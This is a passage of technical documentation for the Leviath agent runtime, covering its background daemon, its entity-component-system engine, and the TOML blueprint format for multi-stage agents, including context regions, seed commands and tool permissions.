the publish stage. """ [stages.draft.transitions.publish] hint = "The notes are written" [stages.draft.transitions.recover] condition = "error" [stages.publish] mode = "output" description = "Hand back the finished notes" max_iterations = 3 model = { models = [ { provider = "anthropic", model = "claude-sonnet-5" }, { provider = "openai", model = "gpt-5.4-mini" }, ] } [stages.publish.output] format = "markdown" instructions = "The release notes only. Start at the first heading, with no preamble." [stages.recover] mode = "autonomous" description = "Say what went wrong when a stage fails" model = { models = [ { provider = "anthropic", model = "claude-sonnet-5" }, { provider = "openai", model = "gpt-5.4-mini" }, ] } available_tools = [] max_iterations = 3 system_prompt = """ A stage failed. Say briefly what was being attempted and what the error was, so the person running this can decide what to do. """ ``` ## Make it yours Small changes worth trying, each of which reaches for one more idea: - **Point it at a range.** Change the seed to `git log --oneline $(git describe --tags --abbrev=0)..HEAD` so it reads only what is genuinely unreleased. - **Make the shape strict.** Add a `schema` to `[stages.publish.output]` and the answer is validated against it before the run is allowed to finish. See [final outputs](/docs/outputs). - **Ask before publishing.** Set `mode = "interactive_points"` on `draft` and declare an [interaction point](/docs/interaction), so you approve the notes before they are finalized. - **Split the reading.** If your project is large, give `draft` a [fan-out](/docs/sub-agents) stage that reads several commits at once instead of one at a time. ## Where to go next - [Agent blueprints](/docs/agents) is the field-by-field reference for everything used here. - [Multi-stage workflows](/docs/stages) covers the rest of the graph: conditions, gates, revisit limits, and what happens at a dead end. - [Structured context](/docs/context) covers the other region kinds, including one that compacts instead of dropping and one that tracks a checklist. - [The agent catalog](/docs/agent-catalog) has seven shipped blueprints, each with its graph drawn, which are worth reading now that the syntax means something. ======================================================================== # The daemon Source: https://leviath.dev/docs/stable/daemon # The shared-world daemon If an agent runs inside your terminal, then closing the terminal kills it, and a long job means leaving a window open for hours. Leviath does not work that way. `lev run` hands the agent to a background service called the **daemon**, which owns every run on the machine. So your runs keep going after you close the terminal, and thousands of agents share one process instead of taking a process each. Building Leviath into your own Rust program instead? You can skip the daemon entirely. See [Embedding](/docs/embedding). ```mermaid flowchart TB subgraph clients["Clients"] RUN["lev run / ps / msg"] DASH["lev dash"] SERVE["lev serve (HTTP/WS)"] end RUN & DASH & SERVE -->|"control socket
(peer-cred checked)"| DAEMON subgraph DAEMON["Daemon (one process)"] WORLD["Shared world
every agent is a row here"] WORLD --- A1["agent"] WORLD --- A2["agent"] WORLD --- A3["sub-agent"] POOLS["Inference pools
shared across agents"] LANE["Tool lane
shared across agents"] WORLD -->|"builds each request"| POOLS WORLD -->|"runs each tool batch"| LANE end POOLS -->|inference| PROV["LLM providers"] LANE -->|"shell, files, MCP"| TOOLS["Tools, in the run's workdir"] DAEMON -->|"journal, context, outputs"| DISK["Disk"] ``` Agents never talk to a provider or run a tool themselves. The world builds each request and each tool batch on their behalf, which is what lets one process share connections, rate limits, and tool capacity across every run instead of duplicating them per agent. You do not normally start it yourself. It starts the first time a command needs it. ```bash lev daemon # run in the foreground (with logs) lev daemon status # is it running? lev daemon start # start in the background lev daemon stop lev daemon restart ``` ## What happens when it restarts On start, the daemon reloads any runs that were interrupted, so a crash or a restart does not lose work. The tricky part is tool calls that were mid-batch when it went down. Some of those already had real effects: a file written, a shell command run. Re-running them would do the damage twice. So the daemon keeps a **journal**, an append-only record of every tool batch when it is dispatched and every result as it arrives. On reload it uses the journal to work out what actually happened: - **A call that finished** is replayed from the journal, not run again. A file write that already landed does not land twice. - **A call that was still running** comes back to the model as an error saying the effect may or may not have happened, with instructions to check before re-running anything with side effects. - **An interrupted `spawn_agent`** also lists the run's existing children, so the model looks for the child it may already have created instead of spawning a duplicate. - **A crash in the instant between an effect landing and the journal recording it** is the one gap this cannot close, because no journal can watch an external side effect happen atomically. Those calls come back as the same check-first error rather than being quietly re-run. If something on your end consumes completion webhooks, deduplicate on `delivery_id`, described in the [API guide](/docs/api). A completion that re-fires after a restart carries the same id as the original. ```mermaid stateDiagram-v2 [*] --> Starting Starting --> Ready: reload interrupted runs Ready --> Ready: accept commands / host agents Ready --> Draining: stop requested Draining --> Stopped: finish in-flight work Stopped --> [*] ``` ## Run it unattended For an always-on setup, install the daemon under your operating system's service manager. It then starts at login, restarts if it dies, and reloads interrupted runs on start: ```bash lev daemon install # launchd (macOS) / systemd --user (Linux) lev daemon uninstall ``` There is no Windows service integration yet: `lev daemon install` reports itself unsupported there. Use `lev daemon start`, and remember that `lev run` starts a daemon automatically anyway. > [!TIP] > An installed daemon plus [`lev serve`](/docs/api) is all you need to drive Leviath from the > [The Lair](https://leviath.dev/lair), the browser console, with no terminal involved. ## Config changes take effect on the next run The daemon watches `~/.leviath/config.toml` and picks up your edits on its own. Change a tool permission, a `[read_paths]` grant, a sandbox default, a limit, or a taint setting, and the next `lev run` uses the new value. No restart needed. If a save leaves the file briefly unparseable, which happens while you are halfway through typing an edit, the daemon keeps serving the last version that worked. It reloads on your next clean save, so an in-progress edit never breaks a spawn. Two kinds of change do need `lev daemon restart`. Both set up connections and process-wide state once at startup rather than per run: - Provider keys and `[model_providers]`, which build the provider registry. - `[[mcp_servers]]` (live MCP connections), `[observability]` (the telemetry pipeline), and `[security] allow_local_network` (the outbound-network policy). - The `[limits]` the world itself is built with: `stall_timeout_secs`, `wedge_timeout_secs`, `dead_cycles_before_relief`, `max_concurrent_inferences`, `max_concurrent_tools`, `exact_token_counting`, `provider_failures_before_open`, `provider_circuit_cooldown_secs`, `interaction_timeout_secs`, and `finished_retention_secs`. `[providers] fallback_order` is not one of them. It is per-run policy, so it reloads like everything else and a new fallback provider applies on the next `lev run`. ## Control surface Everything reaches the daemon over a local **control socket**. That is a Unix socket, or a named pipe on Windows, guarded by a check on who is connecting. It is not a TCP port, so nothing on the network can reach it. These are the commands that talk to it: | Command | Does | |---|---| | `lev ps` | List running agents and their status. See [reading it](/docs/cli#reading-lev-ps) | | `lev msg ` | Send a message to a running agent | | `lev respond` | Answer a pending `ask_user` question | | `lev pause ` | Pause a run | | `lev resume ` | Resume a paused run | | `lev cancel ` | Cancel a run | | `lev context ` | Show a run's context-window history | > [!NOTE] > To reach the daemon over the network instead of the local socket, run the > [HTTP API server](/docs/api). It is a thin REST and WebSocket gateway in front of this same > daemon, with a required auth token. ## Fail a wedged run instead of finding it later A run can end up in a state no part of the engine can reach: no model call in flight, no tool batch running, nothing waiting on it. It has stopped for good, but it still reports as `running`. Set `[limits] wedge_timeout_secs` and the daemon fails such a run itself. That frees whatever was assigned to it and turns it into an ordinary finished run: ```toml [limits] wedge_timeout_secs = 300 ``` It is `0`, meaning off, by default, because it fails runs and that should be your choice. A slow run never trips it. An agent waiting on the model, on a tool, on its sub-agents, or on a person is exempt however long it takes. If it does fire, the run's error says so and the daemon logs it at `error` level. That is a bug in Leviath, and worth reporting. ## Observability The daemon can export its telemetry over OpenTelemetry to any collector. Turn it on in `~/.leviath/config.toml`: ```toml [observability] enabled = true exporter = "otlp" endpoint = "http://localhost:4318" service_name = "leviath" ``` See [Observability](/docs/observability) for what it exports. > [!TIP] > Driving Leviath from a scheduler, a CI job, or a work queue that tracks its own slots? See > [External work queues](/docs/work-queues) for how to ask the daemon whether a run is still going, > and which fields lie to you if you read them the obvious way. ======================================================================== # The agent engine Source: https://leviath.dev/docs/stable/engine # The agent engine Most of the agents you run are waiting. Waiting on a model to reply, on a tool to finish, on a person to answer a question. If every waiting agent costs you an operating system process, then a thousand agents cost a thousand processes whether or not any of them are doing anything. So Leviath does not give an agent a process, a thread, or even a task of its own. It keeps each agent as a **row of data** in one shared table, and runs a fixed list of functions across the whole table over and over. An agent with nothing to do is a row those functions skipped, which costs close to nothing. That arrangement has a name: an **Entity Component System**, usually shortened to **ECS**. Game engines use it to move thousands of objects per frame. Leviath borrows the storage and iteration rather than the reason. Games want cache locality in a tight frame budget, while an agent runtime wants a way to hold state for something that is mostly waiting. If you have written a reactor with a state machine per connection, this will feel familiar. The ECS supplies the table and the sweep so Leviath does not hand-roll them. The three words are the three pieces, and this page explains each one as it goes: | Word | Means here | |---|---| | **Entity** | One agent. A row number, with no code attached to it. | | **Component** | One piece of an agent's data, such as its context window or which stage it is on. | | **System** | One function that runs across every agent in a given state and moves it along. | Two words from elsewhere in the docs turn up throughout. A **stage** is one phase of the agent's own workflow, with its own prompt, model, and tools, described in [Multi-stage workflows](/docs/stages). The **world** is the single table this page keeps talking about: one per daemon, holding every agent on the machine. You never configure any of this. ## The usual shape, and this one Most agent runtimes give an agent a loop of its own. The agent is an object, it owns a task, and that task walks through its own steps, stopping on an `await` whenever it needs the outside world: ```mermaid flowchart LR subgraph ONE["One agent, one loop of its own"] direction LR S["Start"] --> I["Call the model"] I --> AW1["await the reply"] AW1 --> T["Run its tools"] T --> AW2["await the results"] AW2 --> I end ``` Leviath turns that inside out. The loop belongs to the engine, not to any agent, and it is a pipeline: a fixed sequence of phases that runs start to finish, over and over. Each phase is one function, and it acts on whichever agents happen to be sitting at that phase right now. Here is the spine of it. The real pipeline has about forty-five functions, and these five are the ones that move an ordinary turn. The rest handle summarizing context, spotting a stuck agent, iteration caps, checkpoints, fan-out, telemetry, and writing to disk. ```mermaid flowchart LR P1["Phase 1
Ask the model
· agent 1 · agent 7"] P2["Phase 2
Take replies that arrived
· agent 2 · agent 6 still waiting"] P3["Phase 3
Start tool calls
· agent 4"] P4["Phase 4
Take finished tool results
· agent 3"] P5["Phase 5
Choose the next stage
· agent 5"] P1 --> P2 --> P3 --> P4 --> P5 P5 -.->|"run it again"| P1 ``` Read one pass of that left to right. Agents 1 and 7 have a request ready, so the first phase sends both and moves on. Agent 2's reply has come back, so the second phase takes it. Agent 6 is in that same phase but its reply has not arrived, so the function looks at it, finds nothing to do, and leaves it there. Agent 4's turn asked for tools, so the third phase starts them. Agent 3's tools have finished. Agent 5 reached the end of its stage and needs its next one chosen. Two things to take from that. **Nothing blocked**: sending a request and collecting its reply are different phases, so an agent that asks the model in one pass is collected in some *later* pass, whenever the answer actually arrives. And **an agent with nothing to do costs a glance**. Agent 6 was looked at and skipped; no thread was parked on it, and no work was queued behind it. An agent's position in the pipeline is itself a piece of its data, which is what lets each phase find its agents by looking rather than by being told. The difference shows up when there are many of them. Give each agent its own task and the runtime has 100 things it must schedule, each holding a turn's worth of stack. Any budget you want to apply across all of them then has to be coordinated between them: ```mermaid flowchart TB subgraph TRAD["100 agents, one task each"] direction LR T1["agent + its own task"] T2["agent + its own task"] T3["…98 more"] end T1 --> API["Model provider"] T2 --> API T3 --> API ``` In Leviath they are 100 rows in one table, and the budgets live in one place because there is only one place to put them: ```mermaid flowchart TB subgraph LEV["100 agents, in Leviath"] direction LR ROWS["100 rows of data"] POOL["Shared inference pools"] LANE["Shared tool lane"] ROWS --> POOL ROWS --> LANE end POOL --> API2["Model provider"] LANE --> TOOLS["Tools"] ``` ### The cost that is left Being straight about what this does and does not buy. It removes the per-agent task and the per-agent scheduling, which is the part that scales badly. It does **not** make an agent free, because the expensive thing an idle agent holds is its context window, and that stays in memory while the run is live. A hundred idle agents with large windows cost real memory, whatever the concurrency model. Two cases reclaim it. A **paused** run is written to disk and dropped from the world entirely, then rebuilt when you resume it. A **fan-out worker** whose result has been merged and persisted has its window, blueprint, and stage tables removed while its record stays. Everything else keeps its window until the run ends. Every system also runs on one thread, in a fixed order, so a pass is serial in the number of agents that have something to do. Idle agents cost a glance each, and a pass where nothing changed puts the loop to sleep entirely, which is the [fixed point](#what-a-tick-is) below. From here the page gets specific: [what the three words mean precisely](#entities-components-and-systems), [what one agent is made of](#an-agent-is-an-entity), [how it moves between phases](#markers-are-the-state-machine), [what one pass costs](#what-a-tick-is), and [what happens when one agent breaks](#one-agents-failure-stays-one-agents-failure). ## Entities, components, and systems Leviath gets this from [bevy_ecs](https://bevy.org/), a library built for game engines and used here unchanged. Precisely: - An **entity** is an id and nothing else. No data, no methods. Think of it as a row number. - A **component** is a plain struct attached to an entity. `AgentState` is a component, `ContextWindow` is a component. An entity is nothing more than the components it carries. - A **system** is an ordinary function that runs over every entity carrying some particular set of components. It asks for what it needs and changes it in place. So there is no agent object that knows how to run itself. There is agent-shaped **data**, and the pipeline of functions above running across all of it. Nothing sits on an `await`, because nothing owns a call stack. A blocked agent is a row that this pass skipped. That trade is aimed at running many agents at once: - **A blocked agent costs one row.** Concurrency is paid for only where real work happens: one async task per in-flight request, never one per agent. - **[Sub-agents and fan-out](/docs/sub-agents)** are more entities in the same world. No new processes, nothing serialized between a parent and its children. - **Rate limits, retries, and provider clients are shared** instead of duplicated per process. - **One place holds all the state**, so the [dashboard](/docs/dashboard) and [API](/docs/api) read every agent without talking to thousands of separate processes. The cost is the process boundary. Agents keep their own state, workdir, and tool policy, and [a panic in one stays in one](#one-agents-failure-stays-one-agents-failure). But they share the daemon's memory and its fate, which is a weaker guarantee than a process per agent. For a hard OS boundary around what an agent can run, add a [sandbox](/docs/security). ## An agent is an entity When the daemon spawns an agent, this is all that happens: ```rust world.spawn(( AgentBlueprint(blueprint), // the whole stage graph, as data AgentState { .. }, // agent id, current stage, iteration, status MessageInbox::default(), // mid-run messages not yet delivered StageCursor { index: 0 }, // which stage we are in StageProgress::default(), // per-stage counters (tool calls, edits, timings) StageInferences(..), // pre-resolved model + tools, one per stage StageSetups(..), // pre-resolved layout + prompt, one per stage visits, // times each stage has been entered window, // the ContextWindow: regions and their budgets stage0_inf, // this stage's model and tool set stage0_cfg, // this stage's temperature, token caps, timeouts ReadyToInfer, // a marker, explained below )); ``` Every line is a component, and most come straight from the [blueprint](/docs/agents): | Component | Filled from | |---|---| | `AgentBlueprint` | the entire `agent.leviath` file | | `ContextWindow` | `[context.regions]`, with percentage budgets resolved against the model's window | | `StageInferences` | each `[stages..model]` and its `available_tools` | | `StageSetups` | each stage's `system_prompt`, context layout, and tool routing | | `StageProgress` | nothing, these are the runtime's own counters | The per-stage arrays are worked out once, at spawn. A stage is not an entity of its own: it is `StageCursor.index`, a position in the blueprint the agent already carries. A transition moves that integer, resets `StageProgress`, and swaps in the next stage's pre-resolved model, tools, and layout. It tears nothing down, which is why a workflow graph is cheap to run. ## Markers are the state machine An agent has no field saying what phase it is in. Instead it carries one of twelve **marker** components, and each system asks for the marker it acts on. | Marker | What it means | Picked up by | |---|---|---| | `ReadyToInfer` | Ready to build a request and call the model | `dispatch_inference` | | `AwaitingInference` | The call is in flight | `collect_inference` | | `ProcessResponse` | The reply landed and has not been read yet | `process_response` | | `ReadyForTools` | The reply asked for tools | `dispatch_tools` | | `AwaitingTools` | The tool batch is running | `collect_tools` | | `ReadyForTransition` | The reply asked for no tools, so the stage may be done | `handle_empty_response` | | `ResolveTransition` | The stage is done, work out what comes next | `resolve_transition` | | `AwaitingTransitionChoice` | Several edges are possible, the model has to pick | the transition-choice system | | `AwaitingTransitionResponse` | That pick is in flight | the transition-collect system | | `AwaitingCompaction` | The context is being summarized; the agent holds until it lands | the compaction system | | `PendingTitle` | This run wants a generated title | `dispatch_title` | | `AwaitingTitle` | The title call is in flight. Titling runs alongside the first turn | the title-collect system | Moving an agent forward means removing one marker and adding another. `dispatch_inference` asks for entities `With`, so an agent without that marker is not in the results at all. The same trick makes control operations nearly free: pausing a run sets `AgentStatus::Paused`, and every dispatch system already ignores agents that are not `Active`. ## The path one agent takes From a fresh stage to the next one: ```mermaid flowchart TD RTI["ReadyToInfer"] -->|dispatch_inference| AI["AwaitingInference"] AI -->|collect_inference| PR["ProcessResponse"] PR -->|process_response| Q{"tool calls?"} Q -->|yes| RFT["ReadyForTools"] RFT -->|dispatch_tools| AT["AwaitingTools"] AT -->|collect_tools| RTI Q -->|no| RFTR["ReadyForTransition"] RFTR -->|handle_empty_response| RT["ResolveTransition"] RT -->|resolve_transition| OUT{"next stage,
or done"} OUT -->|next stage| RTI ``` 1. **`dispatch_inference`** builds the request from the agent's context regions and tries to take a slot from the model's [pool](#inference-pools). No free slot means no action, and the agent stays `ReadyToInfer` for a later pass. 2. **`collect_inference`** picks up whatever came back and moves the agent to `ProcessResponse`. 3. **`process_response`** reads the reply. Tool calls go down the tool path; plain text goes toward a transition. 4. **`dispatch_tools`** checks each requested call before it runs. A tool the stage never advertised in `available_tools` was never sent to the model, and is refused here too if it guesses the name. [Permissions](/docs/tools) decide whether the call needs you, and [taint tracking](/docs/security#taint-tracking-experimental) blocks a call that would carry sensitive data somewhere it should not go. Calls that only edit the agent's own context apply here; the rest go to the tool lane. 5. **`collect_tools`** merges the results back into the order the model asked for them, files each into the [context region](/docs/context) the stage routes it to, and returns the agent to `ReadyToInfer`. 6. **`resolve_transition`** picks what happens at the end of a stage. A stage's outgoing edges are its [transitions](/docs/stages), including ones that fire on an error or when the agent is detected going in circles. There are six answers. Four are ordinary: `Terminal` (done), `TerminalError` (failed, with no `error` edge to catch it), `Next` (take this edge), and `Choose` (ask the model which edge). `Resume` means the agent looked stuck but the stage has no edge for that, so it carries on. `DeadEnd` means every edge out is exhausted, which routes to the `error` edge or fails the run rather than reporting a completion that did not happen. Those are six of the roughly forty-five. See [Multi-stage workflows](/docs/stages) for what the transition conditions mean and [Structured context](/docs/context) for what the regions do. ## What a tick is A **tick** is one pass of that whole system list over every agent in the world. The systems run one after another in a fixed order, so no two ever overlap, and no system ever awaits. A dispatch system starts async work and swaps in an `Awaiting*` marker; a collect system on a later tick picks the result up. That one rule is what keeps a pass short no matter how many agents are waiting. It also gives you backpressure for free: a full pool means an agent stays `ReadyToInfer` until a later tick finds it a slot. At the end of a tick, Leviath counts how many agents carry each of the twelve markers. Those counts are the world's **fingerprint**. The loop does not do its work on a clock. It ticks for as long as the fingerprint keeps changing, and when a whole tick changes nothing it sleeps. One slow 30-second timer stays armed as a safety net, re-driving anything a lost wakeup would strand: ```rust loop { self.run_to_fixed_point(); tokio::select! { _ = self.wake.notified() => {} _ = self.shutdown.notified() => return, } } ``` Anything that could give the world work wakes it: a model reply, a tool finishing, a `lev msg`, a new run, a control command. An idle world costs almost no CPU, no matter how many blocked or paused agents it holds. ## Inference pools The world holds one pool per model that caps how many requests can be in flight at once. An agent takes a slot before calling the provider and holds it for the whole request. The default cap is `[limits] max_concurrent_inferences` in the [config](/docs/configuration); per-model limits override it. Waiting for a slot is ordinary backpressure and is never treated as a failure, however long it lasts. Waiting for a provider that was never configured is different: that agent has nothing to wait for, so it fails after `[limits] stall_timeout_secs` (60 seconds by default; `0` waits forever). This knob gets confused with two others. Fan-out's `max_workers` bounds how many *sub-agents* a stage spawns. `[rate_limits.]` shapes how fast requests are sent. The pool bounds how many run at once. All three apply independently. ## The tool lane Tools have a pool of their own: `[limits] max_concurrent_tools` (8 by default) caps how many agents' tool batches run at once across the whole daemon. The interesting part is waiting. Some things a batch can wait for have no time limit at all: a tool-approval prompt, an `ask_user`, a `wait_for_agent` that only ends when another run finishes. A batch waiting on one of those gives its capacity back, and takes a fresh unit when it has something to do again. Without that, a parent waiting on a child it spawned would hold the exact capacity the child needs, and enough parents doing it at once has frozen whole fleets. `lev ps` lists waiting batches separately from running ones for the same reason. Waiting is fine. Queued with nothing draining is not. As a backstop for jams nobody has diagnosed yet, the daemon counts 30-second cycles where the lane is full and no run moves. Past `[limits] dead_cycles_before_relief` (10, so five minutes) it widens the lane so the queue can drain. It only adds capacity, never cancels anything, and stops after one extra lane's worth. Set the key to `0` to turn relief off. The count is reported either way, in `lev ps` and as `leviath.scheduler.dead_cycles.total`. ## One world, one daemon There is exactly one world per daemon process, and every run lives in it: top-level agents, spawned sub-agents, and fan-out workers alike. A sub-agent is an ordinary entity that also carries a `ParentRef`. Entity ids never leave the world. Everything outside refers to runs by **run id**, and the daemon keeps the mapping. That is the line between the engine and [the daemon's control surface](/docs/daemon): the CLI, the [API](/docs/api), and the [dashboard](/docs/dashboard) all speak run ids. ## One agent's failure stays one agent's failure Every system runs on the driver thread, so when one panics, the driver catches it and works out which agent was being touched. That agent is marked `AgentStatus::Error` with an internal-error message, and the tick loop carries on. A cap bounds how many such failures one round will absorb, so a thoroughly broken world stops rather than spins. This is the main thing Leviath does to make up for not having a process boundary per agent. It handles a panic in a system. It cannot help with something that corrupts the whole process, which is the guarantee separate processes would give you and this design does not. > [!NOTE] > The engine is not something you usually configure. You describe *what* an agent does in its > [blueprint](/docs/agents), and the engine works out how to run it. This page exists so the > design is inspectable rather than something you have to take on trust. ======================================================================== # Agent blueprints Source: https://leviath.dev/docs/stable/agents # Agent blueprints (`agent.leviath`) An agent is a directory with an `agent.leviath` file, a TOML **blueprint** describing a multi-stage [workflow graph](/docs/stages). The [agent catalog](/docs/agent-catalog) has seven complete ones worth stealing from. New to this? [Build your first agent](/docs/first-agent) walks through writing one stage by stage; this page is the reference for every field it uses. Start from a scaffold rather than a blank file: ```bash lev create my-agent cd my-agent lev run . --task "Your task here" ``` A blueprint needs very little to run: a name, an entry stage, and one stage with a prompt. Everything else on this page is opt-in from there. A fuller one looks like this (machine-checkable against the published [blueprint schema](https://leviath.dev/docs/stable/blueprint.schema.json)): ```toml [agent] name = "coder" version = "0.2.0" description = "Analyze, implement, and review with graph-based recovery" entry_stage = "analyze" [tool_permissions] # global defaults; per-stage overrides allowed read_file = "allow" write_file = "ask" bash = "ask" [stages.analyze] mode = "autonomous" model = { models = [ { provider = "anthropic", model = "claude-sonnet-4-6" }, { provider = "openai", model = "gpt-5.4-mini" }, ] } available_tools = ["read_file", "list_dir"] required_tools = [] # human-in-the-loop tools kept in an unattended run max_iterations = 15 system_prompt = """Understand the task and produce a short implementation plan.""" [stages.analyze.transitions.implement] hint = "Plan ready, begin implementation" ``` ## The run loop Within a stage, an agent runs a tight loop (infer, act on tool calls, repeat) until the model signals it's done or a [transition](/docs/stages) fires: ```mermaid flowchart LR I["Infer
(stage model)"] --> T{"Tool calls?"} T -->|yes| X["Execute tools
route output to regions"] X --> I T -->|no| D{"Transition?"} D -->|hint / error / stuck| N["Next stage"] D -->|none, done| E["Finish"] N --> I ``` ## Lifecycle A run moves through a handful of states the [dashboard](/docs/dashboard) and [API](/docs/api) report on: ```mermaid stateDiagram-v2 [*] --> Starting Starting --> Running Running --> WaitingInput: prompt, or holding for children WaitingInput --> Running: answered, or children done Running --> Paused: lev pause Paused --> Running: lev resume Running --> Complete Running --> CompleteInteractive: done, still accepting messages Running --> Error: unrecoverable error Running --> Cancelled: lev cancel Complete --> [*] CompleteInteractive --> [*] Error --> [*] Cancelled --> [*] ``` These are the exact `RunStatus` values the [dashboard](/docs/dashboard) and [API](/docs/api) report. `CompleteInteractive` means every required stage finished but the agent is still accepting [messages](/docs/interaction). `WaitingInput` covers two very different situations: a run stopped on a prompt somebody has to answer, and a run parked while its own [sub-agents](/docs/sub-agents) or [fan-out](/docs/stages) workers get on with it. The second needs nothing from you. [`lev ps`](/docs/cli#reading-lev-ps) tells them apart, so reach for it before concluding a run is stuck. ## Stages and models Each stage gets its own **model** (an ordered provider/model fallback list: the first configured provider wins), tools, iteration cap, and context layout. Transitions form a [graph](/docs/stages): linear by default, or branch on conditions like `error` and `stuck`. ```toml [stages.analyze.model] allow_user_default = true # fall back to the user's default model, else fail closed models = [ { provider = "anthropic", model = "claude-sonnet-4-6" }, { provider = "openai", model = "gpt-5.4-mini" }, ] request_timeout_secs = 120 # per-stage inference wall-clock cap [stages.analyze.model.parameters] # free-form, passed through to the provider temperature = 0.2 max_tokens = 8000 ``` Model selection is per stage, and only per stage. Two mistakes here are quiet ones. A top-level `[model]` block parses and is read by nothing, and a stage naming no model takes the host default without saying so. `lev validate` reports both. See [every stage should name its own model](/docs/stages#every-stage-should-name-its-own-model). ### Which tools a stage gets `available_tools` lists what the stage may call. `required_tools` is the exception to the unattended cut. A [`--yolo`](/docs/glossary) run drops every tool that waits on a person, and this is where a stage names the ones it wants kept anyway. Every entry must also appear in `available_tools`. Naming a tool here also settles the `blocking-tool-in-autonomous-stage` lint for it, since listing it is how you say you meant it. See [human-in-the-loop tools](/docs/tools#these-tools-need-someone-there). ## Context regions `[context.regions]` defines the memory layout. There are nine region kinds (the default is `temporary`); see [Structured context](/docs/context) for what each one does. Budgets come in three forms: ```toml [context.regions.codebase] kind = "compacting" budget = "35%" # ceiling as a share of the model's context window max_tokens = 60000 # absolute guard-rail the percentage never exceeds min_tokens = 4000 # absolute floor on small context windows [context.regions.task] kind = "pinned" max_tokens = 2000 # bare max_tokens alone = fixed absolute budget ``` Percentages are **ceilings, not allocations**. They may sum past 100%, because regions rarely all fill at once. With a percentage, `max_tokens` caps and `min_tokens` floors the resolved value; without one, `max_tokens` is the fixed budget. Compacting regions also take `threshold_tokens`, the fill level that triggers compaction. A stage can override the whole layout for just itself with `[stages..context.regions]`. The per-stage layout applies when the stage is entered, and uses the same syntax: ```toml [stages.plan.context.regions.constraints] kind = "pinned" budget = "10%" ``` **A region the stage leaves out is hidden, not destroyed.** It keeps its contents, is left out of that stage's prompt, and comes back with everything in it as soon as a later stage declares it again. That is what makes this usable for narrowing: a compute stage need not carry a large data preview through every one of its calls, and a summary stage further on can still read it. `conversation`, `tool_results` and `final_output` are always visible, whatever a stage declares. The first two hold the typed tool-call turns the next stage's own turns attach to, and an answer submitted early has to survive to the end. ## Seed commands A region can be seeded before the run starts: ```toml [context.regions.codebase] kind = "compacting" seed = { command = "git ls-files" } ``` Seeds run at spawn **before any approval prompt**, confined to the workdir and routed through the entry stage's sandbox, time- and size-capped. > [!WARNING] > A seed command runs a shell command before you approve anything, so it must be covered by > [`[safe_commands]`](/docs/interaction#what-runs-without-asking) to run at all. `lev validate` > prints every seed a blueprint will run; review them for third-party blueprints. Refuse with > `--no-seed-commands` or `[security] allow_seed_commands = false`. ## Read paths An agent that needs to *read* beyond its workdir, for run archives, design docs, or sibling directories, declares them: ```toml [read_paths] allow = ["~/.leviath/runs", "../shared-docs", "glob:~/design-docs/**"] ``` The declarations do nothing on their own: the user's config must grant them, they are read-only, and every access is checked against the symlink-resolved real path. Run `lev validate` to see which of them the config on this machine actually grants. See [Security](/docs/security) for the grant stanzas and the full matching rules. ## How the coding agent verifies its work The bundled `coder` agent decides what "done" means before it starts, rather than judging it at the end. Its entry stage is `discover`: before planning anything, the agent classifies the project's testing story and writes a `workflow` region ending in three literal lines that later stages execute verbatim: ```text BASELINE: VERIFY: DONE WHEN: ``` The baseline is captured before the first edit, so "a test that was already failing" and "a test I broke" are distinguishable. Each change re-runs VERIFY and compares against the baseline, and the run is only done when DONE WHEN holds, not when "most tests pass". Regions that carry this state are marked `required = true`; if one is empty when a stage needs it, the workflow routes back through discovery instead of guessing. Projects with no tests at all are handled explicitly: the plan must include *building* verification (a smoke test to write and run), stated plainly rather than invented. ## Tracking files the agent touches `[context.file_tracking]` keeps a running list of what the agent has read and written, in its own region, so a later stage knows what has already been looked at. ```toml [context.file_tracking] region = "files" # default "files" track_reads = true # default true track_writes = true # default true max_file_tokens = 4000 # cap on how much of one file is tracked ``` ## Catching an agent going in circles `[repetition_detection]` watches for an agent making the same call over and over, or reading without ever writing. When it sees one, it writes a `[System]` note into the agent's conversation telling it what it is doing and to try something else. It nudges, it does not intervene. The run keeps going either way, the stage does not fail, and no transition fires. If you want a loop like this to actually route somewhere, use a `stuck` edge in [stages](/docs/stages#stuck-detection). The two work well together: the nudge gives the agent a chance to correct itself, and the edge catches it if it does not. ```toml [repetition_detection] enabled = true # default max_repeat_calls = 3 # default; identical tool call, back to back max_readonly_streak = 10 # default; read-only calls with no modification in between ``` ## Who does the summarizing A [`compacting` region](/docs/context) summarizes rather than evicting, and something has to write that summary. By default it is Sonnet on Anthropic, whatever the stage itself runs on, because a summary is cheap work that does not need the stage's model: ```toml [compaction] provider = "anthropic" # default model = "claude-sonnet-4-6" # default max_summary_tokens = 2000 # default temperature = 0.2 # default system_prompt = "..." # optional; replaces the built-in summarizer prompt ``` Point it at a provider you have configured if you do not use Anthropic. A run whose compaction provider is not registered loses compaction rather than failing, so an unset `[compaction]` on an OpenAI-only machine quietly stops summarizing. `lev doctor` reports which providers are registered. ## Discovering tools mid-run By default a stage advertises a fixed tool set resolved at spawn, and a tool that appears later is invisible to it. `dynamic_tools` opts an agent in to re-advertising: ```toml [agent] dynamic_tools = true ``` With it on, a script tool written into the run's own `tools/` directory becomes callable on the next inference. Off (the default) is the safer choice, since it means an agent cannot grow its own capabilities mid-run. ## Handing context to a sub-agent `[[transforms]]` maps one blueprint's regions onto another's when a parent spawns a child, so the child starts with the parent's findings under its own region names. ```toml [[transforms]] from_blueprint = "researcher" to_blueprint = "reviewer" [[transforms.mappings]] from_region = "findings" to_region = "source_material" transform = "direct" # direct | summarize | extract [[transforms.mappings]] from_region = "conversation" to_region = "brief" transform = "summarize" ``` `extract` additionally takes `fields` to pull named pieces out. See [Sub-agents](/docs/sub-agents). ## Validate before you run ```bash lev validate . # check the graph, and what the blueprint leaves unsaid lev validate . --deny-warnings # for CI: warnings fail too lev test . # run the blueprint's tests/ cases (real API calls) lev test . --dry-run # parse and report them without calling a provider ``` Beyond the graph, `lev validate` reports the fields whose absence quietly changes what a run does. That covers a stage with no model block, a tool name that matches nothing, and an autonomous stage offering a tool that waits for a person. Errors exit non-zero, warnings do not, notes never can. The [CLI reference](/docs/cli#lev-validate-path) lists every check. The daemon logs the same findings when a run spawns, so a blueprint nobody validated still says what is wrong with it. ======================================================================== # Structured context Source: https://leviath.dev/docs/stable/context # Structured context memory The usual way to give a model its history is one flat list of messages. That has a failure mode: read one large file and it pushes everything else toward the edge of the window, including the system prompt and the task the agent was given. The agent then forgets what it was doing, and nothing chose that outcome. Leviath splits the window into named **regions** instead. Each one has its own size limit and its own rule for what to throw away first, so a big file read can only ever crowd out the region it landed in. ```mermaid flowchart LR subgraph FLAT["One flat list"] direction TB F1["task
